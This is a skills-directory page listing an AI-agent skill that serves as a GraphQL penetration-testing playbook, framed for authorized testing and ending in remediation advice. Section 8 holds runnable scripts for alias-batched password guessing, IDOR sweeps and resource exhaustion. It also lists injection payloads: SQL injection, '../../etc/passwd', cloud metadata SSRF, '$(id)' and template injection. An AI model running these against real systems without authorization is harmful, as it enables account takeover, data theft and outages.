Skip to content
Back to skills

Graphql Exploitation Chains

DSecurity

GraphQL-specific vulnerabilities and exploitation. Use when a GraphQL endpoint is found and the task is introspection, authorization bypass, injection, or denial of service. Covers schema discovery, field-level authorization failure, and the batching and depth attack surface.

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 11, 2026
securitypythonrustgophpshellbashsqlnodetestingapi

Works with

  • cli
  • api

Security analysis

D59/100
  • mediumUses curl or wget to download content
  • criticalAccesses sensitive system or user directories
  • criticalExfiltrates credentials via HTTP — exact pattern from Snyk ToxicSkills study
  • criticalSends environment variables or credentials to an external URL

Pro shows the line behind each finding and how to fix it

Scanned November 11, 2026

npx -y skills add harezadmm/omp-enhanced --skill graphql-exploitation-chains --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Graphql Exploitation Chains?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Graphql Exploitation Chains
[![Security: D — Skills Directory](https://www.skillsdirectory.com/api/skills/harezadmm-graphql-exploitation-chains/badge)](https://www.skillsdirectory.com/skills/harezadmm-graphql-exploitation-chains)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: graphql-exploitation-chains
description: >-
  GraphQL-specific vulnerabilities and exploitation. Use when a GraphQL endpoint is found and the
  task is introspection, authorization bypass, injection, or denial of service. Covers schema
  discovery, field-level authorization failure, and the batching and depth attack surface.
---

# SKILL: GraphQL Exploitation

> **AI LOAD INSTRUCTION**: GraphQL moves the attack surface from *endpoints* to *fields*. The
> central vulnerability class is **field-level authorization** — a resolver that trusts the
> caller because the query passed some earlier check. Base models test for introspection and
> stop. This skill covers schema discovery, per-field authorization testing, injection through
> arguments, and the resource-exhaustion surface unique to GraphQL.

## 0. RELATED ROUTING

- [attack-graphql](../attack-graphql/SKILL.md) — the base technique module
- [graphql-and-hidden-parameters](../graphql-and-hidden-parameters/SKILL.md) — parameter discovery
- [api-authorization-and-bola](../api-authorization-and-bola/SKILL.md) — BOLA generalises to field level
- [nosql-injection](../nosql-injection/SKILL.md) — the common resolver-side injection
- [api-recon-and-docs](../api-recon-and-docs/SKILL.md) — finding the endpoint

---

## 1. FINDING AND CHARACTERISING THE ENDPOINT

| Discovery route | Note |
|---|---|
| `/graphql`, `/api/graphql`, `/v1/graphql`, `/query` | common paths |
| the client app's own JS bundle | the endpoint and often the full query set are embedded |
| `__typename` in a captured response | confirms a GraphQL backend |
| error messages | the only diagnostic on badly configured servers |
| introspection | disabled on mature deployments, but common on internal APIs |

**Introspection is the fastest path when enabled, but do not stop when it is disabled.** A
404 or "introspection disabled" message tells you the endpoint exists and is hardened — the
schema is still enumerable through error messages, field suggestion, and the client's own bundle.

---

## 2. SCHEMA DISCOVERY WHEN INTROSPECTION IS OFF

| Technique | Mechanism |
|---|---|
| **Field suggestion** | send a near-miss field name; many implementations suggest the correct one in the error ("Did you mean …?") |
| **`__type` on a known type** | partial introspection that survives a naive `__schema` block |
| **Client bundle mining** | the queries the app itself sends reveal types and fields |
| **Mobile app / desktop client** | often ships the full schema or query documents |
| **Persisted-query allowlist bypass** | send a full query instead of the hash; some servers accept both |
| **Error-driven enumeration** | malformed queries reveal type names in validation errors |

**Field suggestion is the highest-yield technique on a hardened endpoint.** Iterate: guess a
field, read the suggestion, add it to the query, repeat. It reconstructs a schema without
introspection.

---

## 3. FIELD-LEVEL AUTHORIZATION — THE CORE CLASS

The defining GraphQL vulnerability. The endpoint authenticates the *query*, then each resolver
trusts that authentication without re-checking the *object*.

```
# the query passes the top-level check…
query { me { id } }

# …but a nested field reaches another object with no check
query { user(id: 2) { email creditCard } }
query { node(id: "base64-other-object") { ... on PrivateRecord { secret } } }
```

**Test procedure:**
1. Authenticate as a low-privilege user (A).
2. Capture every operation the UI performs for a high-privilege user (B).
3. Replay B's exact operations with A's token.
4. Vary **object IDs** (BOLA) and **field selections** (excessive data exposure) independently.
5. Check *aliases* — issuing the same field twice under different aliases can bypass per-request caching of an authorization decision.

**Aliases and fragments are the two mechanisms that most often defeat a partial fix.** If the
fix denies `{ user { email } }`, test `{ a: user { email } b: user { passwordHash } }` and the
same field reached through a fragment.

---

## 4. INJECTION THROUGH ARGUMENTS

Resolvers pass arguments to a data layer. That layer is a normal injection target.

| Backend | Test |
|---|---|
| MongoDB | `{"username": {"$ne": null}}` — operator injection in a JSON-typed argument |
| SQL | quoting and boolean pairs in string arguments |
| LDAP | `*)(uid=*` in a filter argument |
| Command | argument reaching a shell |
| Template | argument rendered into a template |
| SSRF | a URL argument fetched server-side |

**GraphQL-specific nuance:** arguments typed as `String` are usually parameterised by the
library, while arguments typed as a **custom scalar or JSON/`Object`** often reach the data
layer unsanitised. Prefer testing the loosely-typed arguments first — they are the ones that
were convenient to write and easy to misuse.

---

## 5. RESOURCE EXHAUSTION

GraphQL lets a client shape the cost of its own query. That is the denial-of-service surface.

| Attack | Mechanism |
|---|---|
| **Deep nesting** | recursive types (`user → friends → friends → …`) exhaust the resolver stack |
| **Query batching** | send an array of operations; N requests become one — bypasses per-request rate limits and multiplies brute force |
| **Alias amplification** | the same expensive field requested many times under different aliases in one query |
| **Circular fragments** | fragment cycles that defeat naive depth counting |
| **Large `first`/`limit`** | requesting a huge page size in one request |

**Batching is a rate-limit bypass, not just a DoS.** If login is a mutation, batching turns a
per-request throttle into a per-request-count throttle — test whether the limit counts
*operations* or *HTTP requests*. This is a common finding on APIs that added a limiter without
accounting for batching.

Only test exhaustion techniques where scope permits; they can take the endpoint down.

---

## 6. EVIDENCE STANDARD

| Item | Why |
|---|---|
| endpoint URL and the transport (GET/POST, which content type) | reproducibility |
| the exact operation, including aliases and fragments | the alias/fragment shape is often the finding |
| the token/role used, and the object reached | proves the authorization failure |
| whether introspection was available; if not, the method used to reconstruct the schema | different findings |
| for injection: the argument type and the payload | shows the root cause |
| for resource issues: measured impact, not theoretical | avoids an unfounded DoS claim |

---

## 7. REMEDIATION REFERENCE

1. **Authorize per field, per object** — the check belongs in the resolver, not the gateway. Never inherit trust from the query.
2. **Disable introspection in production** — necessary but not sufficient; field suggestion and client bundles still leak the schema.
3. **Disable or bound batching** — and make rate limits count operations, not HTTP requests.
4. **Depth and complexity limits** — cap query depth, field count, and total computed cost; this is the only reliable fix for §5.
5. **Type arguments strictly** — avoid JSON/`Object` scalars on user-supplied fields; the loose type is where injection lives.
6. **Persisted queries with a strict allowlist** — the strongest control against arbitrary query shapes.
7. **Log the operation body, not just the endpoint** — GraphQL over POST hides everything a traditional access log would capture.

---

## 8. EXECUTION PRIMITIVES

GraphQL is a single endpoint where **the query is the payload**. These blocks enumerate the schema,
then test the three classes that actually pay: field-level authorization, argument injection, and
resource exhaustion.

### 8.1 Endpoint discovery and transport detection

```bash
for P in /graphql /api/graphql /v1/graphql /query /api /gql /graphql/v1 /index.php?graphql; do
  for M in GET POST; do
    C=$(curl -sS -o /tmp/g -w '%{http_code}' -X "$M" "https://target.tld$P" \
          -H 'Content-Type: application/json' -d '{"query":"{__typename}"}' 2>/dev/null)
    [ "$C" != "404" ] && [ "$C" != "000" ] && echo "$M $P -> $C $(head -c 90 /tmp/g | tr -d '\n')"
  done
done
```

`{"query":"{__typename}"}` is the cheapest probe: a GraphQL server answers with a data object. A
`400` with a GraphQL error shape confirms the endpoint; an HTML `404` page does not.

### 8.2 Introspection - full schema in one request

```bash
Q='{"query":"query{__schema{queryType{name} mutationType{name} subscriptionType{name} types{name kind fields{name args{name type{name kind ofType{name kind}}} type{name kind ofType{name kind}}} inputFields{name type{name kind ofType{name}}} enumValues{name}}}}}"}'
curl -sS -X POST "https://target.tld/graphql" -H 'Content-Type: application/json' -d "$Q" -o schema.json
python3 - <<'PY'
import json
d=json.load(open('schema.json'))
t=d.get('data',{}).get('__schema',{}).get('types',[])
print("types:",len(t))
for x in t:
    if x['name'].startswith('__'): continue
    fs=[f['name'] for f in (x.get('fields') or [])]
    if fs: print(f"{x['name']:28} {x['kind']:10} {', '.join(fs[:8])}")
PY
```

A full schema is the map for everything below. **If introspection is disabled**, go to 8.3 - do not
give up, the schema is usually recoverable.

### 8.3 Schema recovery without introspection

```bash
# a) field suggestion errors leak names one character at a time
curl -sS -X POST "https://target.tld/graphql" -H 'Content-Type: application/json' \
     -d '{"query":"{ usr }"}' | head -c 400
# b) the client bundle ships the operations it performs
curl -sS https://target.tld/static/js/main.js | grep -oE '\{[^{}]*\}' | grep -E '__typename|query |mutation ' | head -20
# c) persisted-query IDs are often sequential and replayable
for ID in $(seq 1 40); do
  R=$(curl -sS -X POST "https://target.tld/graphql" -H 'Content-Type: application/json' \
        -d "{\"extensions\":{\"persistedQuery\":{\"version\":1,\"sha256Hash\":\"$ID\"}}}")
  echo "$R" | grep -qi '"data"' && echo "ID $ID resolvable"
done
# d) GET with query params is often allowed where POST is filtered
curl -sS --get --data-urlencode 'query={__typename}' "https://target.tld/graphql"
```

Field-suggestion errors (`Did you mean "user"?`) are the fastest oracle and usually survive even when
introspection is blocked. Collect them into a schema by probing one level at a time.

### 8.4 Field-level authorization - the core class

```bash
# same query, two tokens: the ONLY valid BOLA test in GraphQL
Q='{"query":"{ user(id:\"1042\"){ id email role ssn } }"}'
for T in "$TOKEN_A" "$TOKEN_B"; do
  echo "== $( [ "$T" = "$TOKEN_A" ] && echo A || echo B )"
  curl -sS -X POST "https://target.tld/graphql" -H 'Content-Type: application/json' \
       -H "Authorization: Bearer $T" -d "$Q"
  echo
done
```

**Both responses must be captured.** If A reads B's object, the finding is object-level
authorization. If both get `null` with an error, authorization is enforced. If both get the same data
and the object is public, that is not a finding.

### 8.5 Alias batching - the rate-limit bypass GraphQL gives you for free

```bash
python3 - <<'PY'
import json, subprocess, os
aliases = " ".join(f'a{i}: login(username:"victim",password:"guess{i}")' for i in range(0,50))
q = {"query": "mutation{" + aliases + "}"}
r = subprocess.run(["curl","-sS","-X","POST",os.environ["EP"],"-H","Content-Type: application/json",
                    "-H",f"Authorization: Bearer {os.environ['TOK']}","-d",json.dumps(q)],
                   capture_output=True, text=True)
print(r.stdout[:1200])
PY
```

One HTTP request, fifty operations. If the limiter counts requests rather than operations, you have
bypassed it. **Check the control**: run the equivalent fifty separate requests and confirm the
limiter fires, or the bypass is unproven.

### 8.6 Aliased IDOR sweep in one request

```bash
python3 - <<'PY'
import json, subprocess, os
al = " ".join(f'u{i}: user(id:"{i}"){{ id email }}' for i in range(1000, 1030))
q = {"query": "{" + al + "}"}
r = subprocess.run(["curl","-sS","-X","POST",os.environ["EP"],"-H","Content-Type: application/json",
                    "-d",json.dumps(q)], capture_output=True, text=True)
d = json.loads(r.stdout)
hits = {k:v for k,v in d.get("data",{}).items() if v}
print(f"{len(hits)}/{len(d.get('data',{}))} ids returned data:")
for k,v in list(hits.items())[:10]: print(" ",k,v)
PY
```

Objects you should not be able to read, returned by an **unauthenticated or low-privilege** request,
are the finding. Note the token you used and its role.

### 8.7 Argument injection through the resolver

```bash
# GraphQL passes strings into whatever the resolver does - SQL, a template, a shell, a URL fetch
for V in "' OR 1=1--" "1' AND SLEEP(5)--" '{"$ne":null}' '<script>1</script>' '../../etc/passwd' \
         'http://169.254.169.254/latest/meta-data/' '$(id)' '{{7*7}}'; do
  R=$(curl -sS -X POST "https://target.tld/graphql" -H 'Content-Type: application/json' \
        -d "{\"query\":\"{ search(term:\"$V\"){ id title } }\"}" -w '|%{time_total}')
  echo "=== $V"
  echo "$R" | head -c 300; echo
done
```

GraphQL itself does not inject, but the **resolver** behind an argument might. Treat each argument as
a parameter you would test in a REST API: the injection classes are identical, and the transport is
irrelevant to the sink.

### 8.8 Resource exhaustion - depth, breadth, and aliases

```bash
python3 - <<'PY'
import json, subprocess, os, time
EP, TOK = os.environ["EP"], os.environ.get("TOK","")
def timed(q, label):
    t0=time.time()
    r=subprocess.run(["curl","-sS","--max-time","40","-X","POST",EP,"-H","Content-Type: application/json",
                      "-H",f"Authorization: Bearer {TOK}","-d",json.dumps({"query":q})],
                     capture_output=True,text=True)
    print(f"{label:22} {time.time()-t0:6.2f}s {len(r.stdout):7}B  {r.stdout[:100]}")
# circular depth (schema-dependent; builds a deep nest through a self-referencing type)
depth = "{" + "friend{ " * 15 + "id" + " }" * 15 + "}"
timed(depth, "depth=15")
# breadth via aliases
timed("{" + " ".join(f'a{i}:__typename' for i in range(500)) + "}", "alias_breadth=500")
# expensive field repeated
timed("{" + " ".join(f'a{i}: search(term:"a"){{ id }}' for i in range(50)) + "}", "expensive_x50")
PY
```

Compare each against a **baseline single-operation request**. A 15-deep query that costs 40x the
baseline is a denial-of-service primitive; a deep query rejected with a depth error means the control
is present. Never run this without an agreed ceiling - it generates real load.

### 8.9 Introspection and error-leak check

```bash
# is the schema withheld but the errors verbose?
curl -sS -X POST "https://target.tld/graphql" -H 'Content-Type: application/json' \
     -d '{"query":"{ __schema { types { name } } }"}' | head -c 300
# stack trace and internal path leakage through a deliberate error
curl -sS -X POST "https://target.tld/graphql" -H 'Content-Type: application/json' \
     -d '{"query":"{ user(id: 1) { unknownField } }"}' | head -c 500
```

Verbose GraphQL errors leak types, file paths, and ORM internals. That is an information-disclosure
finding only when the leaked detail is not otherwise obtainable and has security relevance - not
merely because a message is long.

### 8.10 Introspection-disabled, depth-limited, alias-capped: verify the controls

```bash
echo "introspection: $(curl -sS -X POST "$EP" -H 'Content-Type: application/json' -d '{"query":"{__schema{types{name}}}"}' | grep -c __schema)"
echo "depth:         $(curl -sS -X POST "$EP" -H 'Content-Type: application/json' -d "{\"query\":\"$(python3 -c 'print("{"+"a{"*12+"id"+"}"*12+"}")')\"}" | grep -ci 'depth\|too deep\|exceed')"
echo "alias cap:     $(python3 -c "
import json,subprocess,os
q={'query':'{'+' '.join(f'a{i}:__typename' for i in range(300))+'} '}
print(subprocess.run(['curl','-sS','-X','POST',os.environ['EP'],'-H','Content-Type: application/json','-d',json.dumps(q)],capture_output=True,text=True).stdout.count('a299'))
")"
```

Recording which controls **are** present is as important as which are missing - it defines what the
report should ask for and prevents claiming a bypass you did not achieve.

---

## 9. CONFIRMING THE FINDING

| Step | Question | What it proves |
|---|---|---|
| 1 | Did the response carry **data you should not see**, or a state change you should not cause? | the finding, as opposed to a schema observation |
| 2 | For field authorization: did you test with **two tokens you own**, and is the object's owner recorded? | BOLA cannot be decided with one identity |
| 3 | For batching: did the **equivalent sequential requests** hit the limiter? | otherwise the limiter was never the obstacle |
| 4 | For exhaustion: is the cost **disproportionate to a baseline operation**, and repeatable? | a slow query is not a DoS; a 40x amplification is |
| 5 | For injection: is the effect **server-side** (a timing change, a returned record, an OOB callback)? | proves the resolver reached the sink |
| 6 | Is the endpoint **authenticated and in scope**, and did you stay under the agreed load ceiling? | exhaustion tests without a ceiling are an incident |
| 7 | Can you state the impact in one sentence with the data or action reached? | schema trivia is not a finding |

**Schema disclosure is a lead, not a finding.** Introspection being enabled tells you what to test; it
is reportable only when combined with a reachable sensitive field, or when the engagement's rules
treat schema exposure as in-scope. Say which one you are claiming.

---

## 10. EVIDENCE STANDARD — QUERY AND IMPACT PROOF

| Item | Why |
|---|---|
| The **exact query string** and the endpoint, with headers | GraphQL findings are reproduced by pasting the query; a paraphrase is unreproducible |
| **Both responses** for any authorization claim, with the token and role for each | the pair is the finding |
| The **schema or the recovered field list** that identified the field | shows you did not guess, and guides the fix |
| For batching: the **single aliased request** plus the sequential control that was throttled | proves the limiter was bypassed, not absent |
| For exhaustion: the **baseline time/size** and the amplified time/size, with the operation shapes | amplification is the impact; without the ratio there is no case |
| For injection: the **timing measurement, returned record, or OOB callback** | proves the sink, not merely a suspicious argument |
| The **depth/alias/introspection controls observed**, as configured | determines what the report should recommend |
| The **load ceiling** you agreed to and stayed within, with the volume generated | exhaustion tests must be bounded and disclosed |
| **Negative control** - the same query with an unprivileged/invalid field returns the restricted result | rules out a globally open endpoint |
| Confirmation that only **accounts you own** were used | no third party's data was accessed |

Report the **reached data or effect**: "`user(id:"1042")` returns the full record including `email` and
`ssn` for Account B's object when called with Account A's token; B's token is required to read B's
own record and returns the same object, so the resolver performs no ownership check", never "GraphQL
introspection is enabled".

### False positives - do not report these

| Observation | Why it is not a finding |
|---|---|
| Introspection enabled, with no sensitive field reachable | a lead; report only if the program treats it as in scope |
| A field returns `null` with an authorization error | the control is working |
| Both tokens return the same public object | no boundary crossed |
| Verbose error messages with no security-relevant leak | noise, unless it exposes something otherwise unobtainable |
| A slow query without a baseline comparison | not a DoS; measure the amplification |
| Alias batching when no limiter existed | nothing was bypassed |
| A single-operation request that is simply expensive for everyone | design, not a vulnerability |
| Deprecation notices or `__typename` in responses | normal GraphQL behaviour |
| A query depth limit you did not actually exceed | the control is present |
| Injection payload returned verbatim in a field value | reflection without a sink |
| The endpoint is a **mock/staging** server with no data | not the production system |
| Load you generated caused degradation without a ceiling | that is an incident, not a finding |

**Never run an exhaustion test without a ceiling.** Stop at the first sign of impact on live service.

---

## 11. REMEDIATION REFERENCE — RESOLVER CONTROLS

1. **Enforce object-level authorization in the resolver, per field** - the transport is irrelevant; every resolver that returns a user-owned object must verify that the caller owns or is entitled to it, using the authenticated principal from the context, never an argument.
2. **Apply a depth limit and a query-cost limit** - depth alone is insufficient because breadth and aliases multiply work; score queries by the product of depth, aliases, and list sizes, and reject anything over budget before execution.
3. **Cap or reject batched operations and aliases** - or count each aliased operation against the client's rate budget, so a single HTTP request cannot perform unlimited work.
4. **Disable introspection in production, and treat schema secrecy as hardening not security** - field-suggestion errors, client bundles, and persisted queries all leak the schema, so the real control is per-field authorization.
5. **Disable field suggestions and verbose errors in production** - return generic errors with a correlation id, and log the detail server-side; verbose resolver errors leak types, ORM internals, and file paths.
6. **Authenticate and authorize the transport, not just the operation** - require a token on the endpoint, reject unauthenticated introspection and mutations, and never rely on the query being "unlikely to be guessed".
7. **Time out and cost-limit expensive resolvers** - a per-resolver statement timeout, a bounded result set, and mandatory pagination on list fields; a resolver that can scan a collection is a DoS primitive.
8. **Whitelist operations with persisted queries where feasible** - an allowlist of known operation hashes removes arbitrary query shapes, aliasing, and depth attacks at once, at the cost of a build step.
9. **Validate and parameterise arguments like any other API input** - use parameterised queries and typed scalars, avoid `Object`/`JSON` scalars on user input, and never pass an argument into a template, shell, or outbound fetch unchecked.
10. **Rate-limit per principal and per operation, counting operations rather than HTTP requests** - a limiter that counts requests is defeated by aliasing; count the work performed.
11. **Monitor query shapes and costs in production** - alert on unusual depth, high alias counts, and per-client cost outliers; the attack looks like normal traffic at the HTTP layer and is only visible in the operation.

---

## 12. RELATED SIBLINGS - LOAD TOGETHER

- [attack-graphql](../attack-graphql/SKILL.md) - the compact attack-side companion to this playbook
- [graphql-and-hidden-parameters](../graphql-and-hidden-parameters/SKILL.md) - schema and parameter discovery
- [api-authorization-and-bola](../api-authorization-and-bola/SKILL.md) - the authorization model behind field-level checks
- [idor-broken-object-authorization](../idor-broken-object-authorization/SKILL.md) - the same class in REST form
- [api-auth-and-jwt-abuse](../api-auth-and-jwt-abuse/SKILL.md) - the token layer every resolver trusts

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.